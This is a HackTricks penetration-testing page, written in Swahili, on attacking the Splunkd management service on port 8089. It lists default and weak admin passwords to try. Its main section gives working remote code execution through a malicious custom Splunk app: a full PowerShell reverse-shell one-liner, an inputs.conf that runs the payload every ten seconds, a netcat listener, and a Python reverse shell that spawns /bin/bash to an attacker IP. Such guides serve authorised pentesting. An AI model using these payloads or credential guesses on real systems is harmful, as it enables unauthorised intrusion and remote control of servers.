hacktricks/network-services-pentesting/8089-splunkd.md

8.6 KiB

8089 - Kupima Usalama wa Splunkd

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Splunk ni chombo cha uchambuzi wa logi ambacho kina jukumu muhimu katika kukusanya, kuchambua, na kuonyesha data. Ingawa lengo lake la awali halikuwa kutumikia kama chombo cha SIEM (Usalama wa Taarifa na Usimamizi wa Tukio), imepata umaarufu katika uwanja wa uangalizi wa usalama na uchambuzi wa biashara.

Maeneo ya Splunk mara nyingi hutumiwa kuhifadhi data nyeti na inaweza kutumika kama chanzo muhimu cha habari kwa wadukuzi ikiwa watafanikiwa kudukua mfumo. Bandari ya chaguo: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Seva ya wavuti ya Splunk inaendesha kwa chaguo-msingi kwenye bandari 8000. {% endhint %}

Uchambuzi

Toleo Huru

Kesi ya majaribio ya Splunk Enterprise inabadilika kuwa toleo huru baada ya siku 60, ambalo halihitaji uthibitishaji. Si jambo la kawaida kwa waendeshaji wa mfumo kufunga majaribio ya Splunk kuitathmini, ambayo baadaye husahauliwa. Hii itabadilika moja kwa moja kuwa toleo huru ambalo halina aina yoyote ya uthibitishaji, ikileta pengo la usalama katika mazingira. Baadhi ya mashirika wanaweza kuchagua toleo huru kutokana na mipaka ya bajeti, bila kuelewa kabisa matokeo ya kutokuwepo kwa usimamizi wa mtumiaji/jukumu.

Anwani za Kuingia za Chaguo-msingi

Kwenye toleo za zamani za Splunk, anwani za kuingia za chaguo-msingi ni admin:changeme, ambazo zinaonyeshwa kwa urahisi kwenye ukurasa wa kuingia.
Hata hivyo, toleo jipya zaidi la Splunk huanzisha anwani za kuingia wakati wa mchakato wa usakinishaji. Ikiwa anwani za kuingia za chaguo-msingi hazifanyi kazi, ni vyema kuchunguza nywila dhaifu za kawaida kama admin, Welcome, Welcome1, Password123, n.k.

Kupata Taarifa

Baada ya kuingia kwenye Splunk, tunaweza kuvinjari data, kukimbia ripoti, kuunda dashibodi, kusakinisha programu kutoka maktaba ya Splunkbase, na kusakinisha programu za desturi.
Unaweza pia kukimbia nambari: Splunk ina njia kadhaa za kukimbia nambari, kama vile programu za Django upande wa seva, vituo vya REST, vipokezi vilivyoandikwa, na hati za tahadhari. Njia ya kawaida ya kupata utekelezaji wa nambari kijijini kwenye seva ya Splunk ni kupitia matumizi ya kuingiza vilivyoandikwa.

Zaidi ya hayo, kwa kuwa Splunk inaweza kusakinishwa kwenye mwenyeji wa Windows au Linux, vipokezi vilivyoandikwa vinaweza kuundwa ili kukimbia skripti za Bash, PowerShell, au Batch.

Shodan

  • Kujenga Splunk

Utekelezaji wa Nambari Kijijini

Unda Programu ya Desturi

Programu ya desturi inaweza kukimbia skripti za Python, Batch, Bash, au PowerShell.
Tambua kwamba Splunk inakuja na Python iliyosakinishwa, hivyo hata kwenye mifumo ya Windows utaweza kukimbia nambari ya python.

Unaweza kutumia hii pakiti ya Splunk kutusaidia. Dereva la saraka hii lina mifano kwa Python na PowerShell. Hebu tuende hatua kwa hatua.

Ili kufanikisha hili, kwanza tunahitaji kuunda programu ya Splunk ya desturi kwa kutumia muundo wa saraka ifuatayo:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Directory ya bin italeta scripts zozote tunazotaka kuendesha (katika kesi hii, PowerShell reverse shell), na directory ya chaguo itakuwa na faili yetu ya inputs.conf. Reverse shell yetu itakuwa PowerShell one-liner:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Faili ya inputs.conf inaambia Splunk skripti gani ichezwe na hali zingine. Hapa tunaweka programu kama iliyoruhusiwa na kuambia Splunk kutekeleza skripti kila sekunde 10. Kipindi kila wakati ni sekunde, na kuingiza (skripti) itatekelezwa tu ikiwa mipangilio hii iko.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Tunahitaji faili ya .bat, ambayo itaendeshwa wakati programu inapowekwa na kutekeleza amri moja ya PowerShell.

Hatua inayofuata ni kuchagua Install app from file na kupakia programu.

Kabla ya kupakia programu mbaya ya desturi, hebu anzisha msikilizaji kwa kutumia Netcat au socat.

sudo nc -lnvp 443

listening on [any] 443 ...

Kwenye ukurasa wa Pakia programu, bonyeza kwenye kuvinjari, chagua tarball tuliyounda mapema na bonyeza Pakia. Mara tu tunapopakia programu, kifaa cha kubadilisha shell kitapokelewa na hali ya programu itabadilishwa moja kwa moja kuwa Imewezeshwa.

Linux

Ikiwa tunashughulika na mwenyeji wa Linux, tunahitaji kuhariri script ya Python ya rev.py kabla ya kuunda tarball na kupakia programu mbaya ya desturi. Mchakato mwingine ungebaki sawa, na tungepata uunganisho wa kifaa cha kubadilisha shell kwenye msikilizaji wetu wa Netcat na kuendelea na shughuli.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Upandishaji wa Mamlaka

Kwenye ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inavyoweza kutumiwa vibaya kwa ajili ya upandishaji wa mamlaka na kupata uthabiti:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: